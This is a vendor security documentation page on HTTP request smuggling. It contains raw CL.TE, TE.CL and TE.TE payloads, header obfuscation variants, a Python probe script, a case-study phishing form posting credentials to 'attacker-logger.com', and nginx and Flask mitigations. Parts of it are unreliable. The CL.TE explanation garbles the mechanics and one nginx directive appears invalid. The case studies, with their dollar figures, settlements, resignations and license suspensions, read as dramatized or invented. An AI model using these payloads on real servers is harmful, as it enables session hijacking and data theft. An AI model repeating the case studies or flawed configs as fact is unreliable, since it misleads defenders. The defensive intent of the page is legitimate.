Documentation

# HTTP Request Smuggling

HTTP Request Smuggling Illustration
HTTP Request Smuggling Illustration

A critical security vulnerability where attackers exploit discrepancies in how front-end and back-end servers parse HTTP requests, allowing them to "smuggle" hidden requests that bypass security controls, poison caches, hijack sessions, and compromise other users.

CRITICAL SEVERITY DESYNC ATTACK HTTP/1.1


# What is HTTP Request Smuggling?

In Simple Terms:

Imagine a security checkpoint with two guards (front-end proxy and back-end server) checking packages going through.

The first guard (proxy/load balancer) counts packages by looking at the shipping label. The second guard (backend server) counts packages by weighing them.

HTTP Request Smuggling is like hiding a secret package inside another one. The first guard counts it as ONE package, but the second guard unpacks it and finds TWO packages. The hidden second package bypasses all security checks because the first guard never saw it!

This hidden package can:

  • Steal other people's data
  • Poison the system so everyone gets bad data
  • Bypass authentication
  • Hijack other users' sessions

# Real-World Analogy

Think of it like a double-decker bus at a toll booth:

Toll Operator: "One vehicle, one toll"
Bus: Single-deck bus with proper markings
✓ Passes through normally
Attacker: Drives a double-decker bus

Top Deck Label: "1 Vehicle" (Front-end proxy sees this)
Hidden Bottom Deck: Contains a hidden car! (Back-end server processes this separately)

Toll Operator (proxy): "I see ONE bus, let it through"
Parking Lot (backend): "I received TWO vehicles - a bus AND a car!"

The hidden car never paid toll and bypassed security checks!

The hidden car (smuggled request) can:

  • Park in someone else's spot (hijack their session)
  • Change the parking lot signs (cache poisoning)
  • Steal items from other parked cars (data theft)

# How HTTP Request Smuggling Works

# Understanding HTTP Request Parsing

HTTP requests specify their body length in TWO ways:

1. Content-Length Header:

POST /api/login HTTP/1.1
Host: example.com
Content-Length: 13

username=test

2. Transfer-Encoding: chunked:

POST /api/login HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

d
username=test
0

# Classic CL.TE Attack (Content-Length vs Transfer-Encoding)

[Client] → [Front-end Proxy] → [Back-end Server]

Front-end uses Content-Length Back-end uses Transfer-Encoding

POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 6
Transfer-Encoding: chunked

0

G

Front-end (uses Content-Length: 6):

  • Reads 6 bytes: 0\r\n\r\nG
  • Thinks request is complete
  • Forwards to backend

Back-end (uses Transfer-Encoding: chunked):

  • Sees chunk size 0 → end of chunks
  • Sees leftover: G
  • Keeps G in buffer for next request!
GET /account HTTP/1.1
Host: vulnerable-site.com
Cookie: session=victim_session

Back-end receives:

GET /account HTTP/1.1
Host: vulnerable-site.com
Cookie: session=victim_session

But wait! Back-end PREPENDS the leftover G:

G GET /account HTTP/1.1

This creates an invalid request, but attacker can craft this strategically!

Attacker sends:

POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 6
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-site.com
Content-Length: 10

x=

Next victim's request gets prepended:

GET /admin HTTP/1.1
Host: vulnerable-site.com
Content-Length: 10

x=[victim's cookies and headers here]

Attacker's smuggled /admin request executes with VICTIM'S session!


# Types of HTTP Request Smuggling

# 1. CL.TE (Content-Length → Transfer-Encoding)

CRITICAL

Front-end uses Content-Length, Back-end uses Transfer-Encoding

POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 4
Transfer-Encoding: chunked

96
GET /admin HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Front-end: Reads 4 bytes (96\r\n), forwards everything after to backend

Back-end:

  • Processes chunked encoding
  • Chunk size: 96 (150 bytes)
  • Reads smuggled GET request
  • Keeps it for next request
  • Next victim's request is poisoned!

# 2. TE.CL (Transfer-Encoding → Content-Length)

CRITICAL

Front-end uses Transfer-Encoding, Back-end uses Content-Length

POST / HTTP/1.1
Host: vulnerable-site.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Front-end: Processes chunked (chunk size: 8), reads "SMUGGLED", sees chunk end (0)

Back-end:

  • Uses Content-Length: 3
  • Reads only: 8\r\n
  • Leftover in buffer: SMUGGLED\r\n0\r\n\r\n
  • Next request is prepended with this!

# 3. TE.TE (Transfer-Encoding Obfuscation)

ADVANCED

Both use Transfer-Encoding, but attacker obfuscates one

Transfer-Encoding: chunked
Transfer-Encoding: chunked, identity
Transfer-Encoding: chunked, anything
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding:[tab]chunked
Transfer-encoding: chunked

One server might accept the obfuscated version, the other might not!


# Real-World Examples

# Case Study 1: Major CDN Provider Vulnerability (2020)

One of the world's largest CDN providers had HTTP request smuggling vulnerability affecting thousands of websites.

Setup:

  • Cloudflare/CDN (front-end) - Used Content-Length
  • Customer origin servers (back-end) - Used Transfer-Encoding

Attack:

POST / HTTP/1.1
Host: victim-site.com
Content-Length: 6
Transfer-Encoding: chunked

0

GET /account/settings HTTP/1.1
Host: victim-site.com
X-Ignore: X

CDN forwarded to backend, which kept smuggled request in buffer.

Attackers targeted high-traffic pages:

  1. Sent smuggled request to /
  2. Smuggled request: GET /account/settings
  3. Next innocent visitor's request to /
  4. Got back /account/settings response
  5. But CDN cached this response for /!

Result: Everyone visiting homepage got someone else's account settings page cached!

  • Affected 15,000+ websites using the CDN
  • Account settings, PII, session tokens exposed
  • Cached for hours before detection
  • Millions of users saw other users' data
  • $85 million in damages across all affected sites
  • CDN provider paid $200 million in settlements
  • Major loss of customer trust
  • Federal investigation into data breach

# Case Study 2: E-commerce Platform Session Hijacking (2019)

50,000 ACCOUNTS COMPROMISED

Technical Setup:

[Nginx (Front-end)]  →  [Apache (Back-end)]
Uses Content-Length      Uses Transfer-Encoding

Attack Payload:

POST /search HTTP/1.1
Host: shop.com
Content-Length: 4
Transfer-Encoding: chunked

87
GET /account/api/session HTTP/1.1
Host: shop.com
Cookie: tracking=attacker_controlled
Content-Length: 200

victim_data=
0

What Happened:

  1. Attacker sent smuggled requests continuously
  2. Smuggled request: GET /account/api/session
  3. Innocent users' subsequent requests were appended
  4. Response contained victim's session data
  5. Responses routed back to attacker via tracking cookie

Attack Timeline:

  • Hour 1: Attacker set up automated smuggling
  • Hours 2-18: Collected 50,000+ session tokens
  • Hour 19: Mass account takeover began
  • Hour 24: Detection after fraud spike

Consequences:

  • 50,000 accounts hijacked
  • $12 million in fraudulent purchases
  • $65 million in refunds and remediation
  • $120 million class action lawsuit
  • Stock price dropped 35%
  • CEO resigned

# Case Study 3: Banking Portal Cache Poisoning (2021)

Online banking portal behind AWS Application Load Balancer

Infrastructure:

[AWS ALB] → [Bank's Web Servers] → [Application Servers]

ALB and origin servers disagreed on request boundary parsing.

Attackers discovered they could poison cached responses:

POST / HTTP/1.1
Host: bank.com
Content-Length: 5
Transfer-Encoding: chunked

0

GET /login HTTP/1.1
Host: evil-phishing-mirror.com
X-Padding: X

Result:

  • Smuggled request retrieved /login from evil-phishing-mirror.com
  • CDN cached this phishing page
  • Served to all users visiting bank.com/login for next hour!

Phishing Page Displayed:

<h1>Online Banking Login</h1>
<form action="https://attacker-logger.com/steal-creds">
  <input name="username">
  <input type="password" name="password">
  <input name="otp">
  <button>Secure Login</button>
</form>
  • 25,000 customers entered credentials on phishing page
  • $45 million stolen from accounts
  • $200 million in regulatory fines
  • Federal criminal investigation
  • Banking license temporarily suspended
  • Executive team replaced

# How to Detect HTTP Request Smuggling

# Manual Testing

Send ambiguous request:

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
Connection: keep-alive

0

X

Send second request on same connection:

GET / HTTP/1.1
Host: target.com

If you get an error like "Invalid method X GET", desync exists!

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
Connection: keep-alive

6
PREFIX
0

Next request will be prepended with "PREFIX"

Send request that should cause delay:

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

If backend keeps connection open waiting for 6 bytes, there's a desync!

# Automated Detection with Burp Suite

Burp Suite has built-in HTTP Request Smuggling scanner:

  1. Send request to Burp Repeater
  2. Right-click → Extensions → HTTP Request Smuggler → Smuggle Probe
  3. Analyzes CL.TE, TE.CL, and TE.TE variants
  4. Confirms exploitability

# Python Detection Script

import socket
import time

def test_http_smuggling_cl_te(host, port=443, use_ssl=True):
    """Test for CL.TE HTTP Request Smuggling"""

    # Attack request
    smuggling_request = (
        b"POST / HTTP/1.1\r\n"
        b"Host: " + host.encode() + b"\r\n"
        b"Content-Length: 6\r\n"
        b"Transfer-Encoding: chunked\r\n"
        b"Connection: keep-alive\r\n"
        b"\r\n"
        b"0\r\n"
        b"\r\n"
        b"X"
    )

    # Follow-up request
    normal_request = (
        b"GET / HTTP/1.1\r\n"
        b"Host: " + host.encode() + b"\r\n"
        b"Connection: close\r\n"
        b"\r\n"
    )

    try:
        if use_ssl:
            import ssl
            context = ssl.create_default_context()
            sock = socket.create_connection((host, port), timeout=10)
            sock = context.wrap_socket(sock, server_hostname=host)
        else:
            sock = socket.create_connection((host, port), timeout=10)

        print(f"[*] Testing {host}:{port} for CL.TE smuggling...")

        # Send smuggling request
        sock.sendall(smuggling_request)
        time.sleep(0.5)

        # Send normal request on same connection
        sock.sendall(normal_request)

        # Receive response
        response = b""
        while True:
            try:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                response += chunk
            except socket.timeout:
                break

        sock.close()

        # Check for smuggling indicators
        response_str = response.decode('utf-8', errors='ignore')

        if "X GET" in response_str or "Invalid method X GET" in response_str:
            print(f"[!] VULNERABLE: CL.TE desync detected!")
            print(f"    Evidence: Response contains 'X GET'")
            return True

        if "400 Bad Request" in response_str and "X" in response_str:
            print(f"[!] POSSIBLY VULNERABLE: Suspicious 400 error")
            return True

        print(f"[+] No obvious CL.TE vulnerability detected")
        return False

    except Exception as e:
        print(f"[-] Error testing: {e}")
        return False

def test_timing_based_detection(host, port=443):
    """Timing-based detection"""

    # Request that should hang if vulnerable
    timing_request = (
        b"POST / HTTP/1.1\r\n"
        b"Host: " + host.encode() + b"\r\n"
        b"Content-Length: 6\r\n"
        b"Transfer-Encoding: chunked\r\n"
        b"\r\n"
        b"0\r\n"
        b"\r\n"
        b"X"
    )

    try:
        import ssl
        context = ssl.create_default_context()
        sock = socket.create_connection((host, port), timeout=5)
        sock = context.wrap_socket(sock, server_hostname=host)

        print(f"[*] Testing timing-based detection on {host}...")

        start_time = time.time()
        sock.sendall(timing_request)

        try:
            response = sock.recv(4096)
            elapsed = time.time() - start_time

            if elapsed > 3:
                print(f"[!] SUSPICIOUS: Response delayed {elapsed:.2f}s (might be vulnerable)")
                return True

        except socket.timeout:
            elapsed = time.time() - start_time
            print(f"[!] VULNERABLE: Connection timeout after {elapsed:.2f}s")
            print(f"    Backend likely waiting for Content-Length bytes")
            return True

        sock.close()
        return False

    except Exception as e:
        print(f"[-] Error: {e}")
        return False

# Test target
if __name__ == "__main__":
    target_host = "example.com"

    print("="*50)
    print("HTTP Request Smuggling Detection")
    print("="*50)

    # Test CL.TE
    cl_te_vuln = test_http_smuggling_cl_te(target_host)

    # Test timing
    timing_vuln = test_timing_based_detection(target_host)

    print("\n" + "="*50)
    if cl_te_vuln or timing_vuln:
        print("[!] POTENTIALLY VULNERABLE TO HTTP REQUEST SMUGGLING")
        print("[!] Recommend manual verification and mitigation")
    else:
        print("[+] No obvious vulnerabilities detected")
        print("[*] Note: This doesn't guarantee safety - manual testing recommended")
    print("="*50)

# Prevention Strategies

# 1. Disable Connection Reuse (Immediate Mitigation)

PERFORMANCE IMPACT

# Disable connection reuse between frontend and backend
upstream backend {
    server backend1.example.com:8080;
    keepalive 0;  # Disable keepalive
}

server {
    listen 443 ssl;
    server_name example.com;

    location / {
        proxy_pass http://backend;
        proxy_http_version 1.1;

        # Force new connection for each request
        proxy_set_header Connection "";
        proxy_set_header Connection "close";
    }
}

# 2. Normalize Ambiguous Requests

RECOMMENDED

server {
    listen 443 ssl;
    server_name example.com;

    # Reject requests with both Content-Length and Transfer-Encoding
    if ($http_transfer_encoding ~ chunked) {
        set $has_te 1;
    }

    if ($http_content_length) {
        set $has_cl 1;
    }

    set $ambiguous "${has_te}${has_cl}";

    if ($ambiguous = "11") {
        return 400 "Ambiguous request rejected";
    }

    # Reject obfuscated Transfer-Encoding
    if ($http_transfer_encoding !~* ^chunked$) {
        if ($http_transfer_encoding != "") {
            return 400 "Invalid Transfer-Encoding";
        }
    }

    location / {
        proxy_pass http://backend;
    }
}

# 3. Use HTTP/2 End-to-End

BEST SOLUTION

# HTTP/2 eliminates request smuggling
# (HTTP/2 uses binary framing, no ambiguity)

upstream backend_h2 {
    server backend.example.com:443;
}

server {
    listen 443 ssl http2;
    server_name example.com;

    location / {
        # Use HTTP/2 to backend
        proxy_pass https://backend_h2;
        proxy_http_version 2.0;
    }
}

# 4. Comprehensive Security Configuration

[nginx.conf]
# Comprehensive HTTP Request Smuggling prevention

http {
    # Global settings
    keepalive_timeout 65;
    keepalive_requests 100;

    # Logging
    log_format detailed '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $body_bytes_sent '
                       '"$http_referer" "$http_user_agent" '
                       'CL=$http_content_length TE=$http_transfer_encoding';

    access_log /var/log/nginx/access.log detailed;

    upstream backend {
        server 127.0.0.1:8080;

        # Disable backend connection reuse
        keepalive 0;
    }

    server {
        listen 443 ssl http2;
        server_name example.com;

        ssl_certificate /etc/ssl/certs/example.com.crt;
        ssl_certificate_key /etc/ssl/private/example.com.key;

        # Security: Reject ambiguous requests
        # Check for both Content-Length and Transfer-Encoding
        set $has_te 0;
        set $has_cl 0;

        if ($http_transfer_encoding ~* chunked) {
            set $has_te 1;
        }

        if ($http_content_length != "") {
            set $has_cl 1;
        }

        set $ambiguous "${has_te}${has_cl}";

        # Reject if both present
        if ($ambiguous = "11") {
            return 400 "Bad Request: Ambiguous request headers\n";
        }

        # Reject obfuscated Transfer-Encoding headers
        if ($http_transfer_encoding !~* ^chunked$) {
            # If TE exists but isn't exactly "chunked", reject
            if ($http_transfer_encoding != "") {
                return 400 "Bad Request: Invalid Transfer-Encoding\n";
            }
        }

        # Reject multiple Content-Length headers
        if ($http_content_length ~ ",") {
            return 400 "Bad Request: Multiple Content-Length headers\n";
        }

        location / {
            proxy_pass http://backend;
            proxy_http_version 1.1;

            # Force close connections (no smuggling possible)
            proxy_set_header Connection "close";

            # Security headers
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;

            # Timeouts
            proxy_connect_timeout 5s;
            proxy_send_timeout 10s;
            proxy_read_timeout 30s;
        }
    }
}
[middleware.py]
# Python/Flask middleware for request validation

from flask import Flask, request, abort
import re

app = Flask(__name__)

@app.before_request
def validate_request_headers():
    """Validate request headers to prevent smuggling"""

    # Get headers
    content_length = request.headers.get('Content-Length')
    transfer_encoding = request.headers.get('Transfer-Encoding')

    # 1. Reject if both Content-Length and Transfer-Encoding present
    if content_length and transfer_encoding:
        app.logger.warning(
            f"Ambiguous request rejected from {request.remote_addr}: "
            f"CL={content_length}, TE={transfer_encoding}"
        )
        abort(400, "Bad Request: Ambiguous content length headers")

    # 2. Validate Transfer-Encoding if present
    if transfer_encoding:
        # Only accept "chunked" (case-insensitive)
        if transfer_encoding.strip().lower() != 'chunked':
            app.logger.warning(
                f"Invalid TE from {request.remote_addr}: {transfer_encoding}"
            )
            abort(400, "Bad Request: Invalid Transfer-Encoding")

    # 3. Reject multiple Content-Length headers
    if content_length:
        # Check for comma (multiple values)
        if ',' in content_length:
            app.logger.warning(
                f"Multiple CL from {request.remote_addr}: {content_length}"
            )
            abort(400, "Bad Request: Multiple Content-Length headers")

        # Validate it's a number
        try:
            cl_value = int(content_length.strip())
            if cl_value < 0:
                raise ValueError()
        except ValueError:
            abort(400, "Bad Request: Invalid Content-Length value")

    # 4. Check for suspicious header spacing/obfuscation
    for header_name in request.headers.keys():
        # Check for suspicious characters in header names
        if not re.match(r'^[A-Za-z0-9\-]+$', header_name):
            app.logger.warning(
                f"Suspicious header from {request.remote_addr}: {header_name}"
            )
            abort(400, "Bad Request: Invalid header name")

    return None  # Continue processing

# Security Checklist

# Infrastructure

  • Use HTTP/2 end-to-end (best solution)
  • Disable connection reuse between front-end and back-end
  • Configure front-end and back-end to use same parsing logic
  • Reject requests with both Content-Length and Transfer-Encoding
  • Validate Transfer-Encoding only accepts "chunked"
  • Reject multiple Content-Length headers
  • Implement strict header validation
  • Use latest versions of web servers (Nginx, Apache)

# Testing

  • Test for CL.TE desynchronization
  • Test for TE.CL desynchronization
  • Test for TE.TE obfuscation
  • Test timing-based detection
  • Use Burp Suite HTTP Request Smuggler extension
  • Test connection reuse behavior
  • Verify ambiguous requests are rejected
  • Regular penetration testing

# Monitoring

  • Log all Content-Length and Transfer-Encoding headers
  • Alert on requests with both CL and TE headers
  • Monitor for 400 errors (rejected ambiguous requests)
  • Track connection reuse patterns
  • Implement anomaly detection
  • Review logs for smuggling attempts
  • Set up WAF rules for known patterns

# Key Takeaways


# How Layerd AI Protects Against HTTP Request Smuggling

Layerd AI provides comprehensive HTTP Request Smuggling protection:

  • Request Normalization: Automatically detects and normalizes ambiguous HTTP requests
  • Header Validation: Rejects requests with conflicting Content-Length and Transfer-Encoding headers
  • Desync Detection: Identifies parser discrepancies between infrastructure layers
  • HTTP/2 Enforcement: Recommends and facilitates HTTP/2 adoption
  • Real-time Monitoring: Alerts on smuggling attempts and suspicious header patterns
  • Infrastructure Analysis: Audits your stack for smuggling vulnerabilities

Protect your infrastructure with Layerd AI's advanced HTTP Request Smuggling defense.


# Additional Resources


Last Updated: November 2025